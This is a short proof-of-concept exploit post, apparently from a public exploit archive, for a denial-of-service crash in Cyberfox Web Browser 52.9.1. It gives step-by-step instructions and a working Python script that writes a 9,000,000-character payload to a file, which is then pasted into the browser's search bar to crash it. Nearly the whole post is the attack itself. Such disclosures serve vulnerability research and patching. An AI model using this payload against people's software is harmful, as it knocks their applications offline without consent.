# Exploit Title: Cyberfox Web Browser 52.9.1 - Denial-of-Service (PoC) # Date: 2021-09-26 # Exploit Author: Aryan Chehreghani # Vendor Homepage: https://cyberfox.8pecxstudios.com # Software Link: https://www.techspot.com/downloads/6568-cyberfox-web-browser.html # Version: v52.9.1 (Possibly all versions) # Tested on: windows #[ About - Cyberfox ] : #Cyberfox is a Mozilla-based Internet browser designed to take advantage of 64-bit architecture #but a 32-bit version is also available.The application provides a higher memory performance when navigating your favorite pages. # [ Exploit/POC ] : # 1.Run the python script, it will create a new file "output.txt" # 2.Run Cyberfox Web Browser # 3.Copy the content of the file "output.txt" & Paste into the "search bar" # 4.Crashed Overflow = "\x41" * 9000000 try: f=open("output.txt","w") print("[!] Creating %s bytes DOS payload...." %len(Overflow)) f.write(Overflow) f.close() print("[!] File Created !") except: print("File cannot be created")